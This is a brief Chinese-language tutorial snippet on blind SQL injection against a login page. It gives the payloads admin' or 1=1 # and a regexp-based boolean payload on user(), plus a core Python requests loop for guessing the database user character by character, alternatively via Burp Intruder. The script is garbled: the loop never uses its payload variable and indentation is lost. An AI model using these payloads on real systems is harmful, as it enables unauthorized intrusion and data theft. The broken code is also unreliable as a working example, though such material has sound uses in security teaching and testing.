碰到一个存在注入漏洞的登录页面时,当尝试过多种万能密码均无效时,不妨采用获取数据的方法
比如通过 username=admin' or 1=1 # 和 username=admin' or 1=2 # 判断存在注入漏洞后 万能密码不起效果。
可以构造一下playload:username=admin' or user() regexp '^a' #
然后通过brupsuite的Intruder模块进行逐个字符的猜解即可。
当然也可以通过写脚本的方式进行猜解:
核心代码:
msg=' '
for i in xrange(10):
for playload in playloads :
data= "username=admin' or user() regexp '^a' #"
r=requests.post(url,header,data=data)
if len(r.content)==12:
msg=msg+playload
print(msg)
break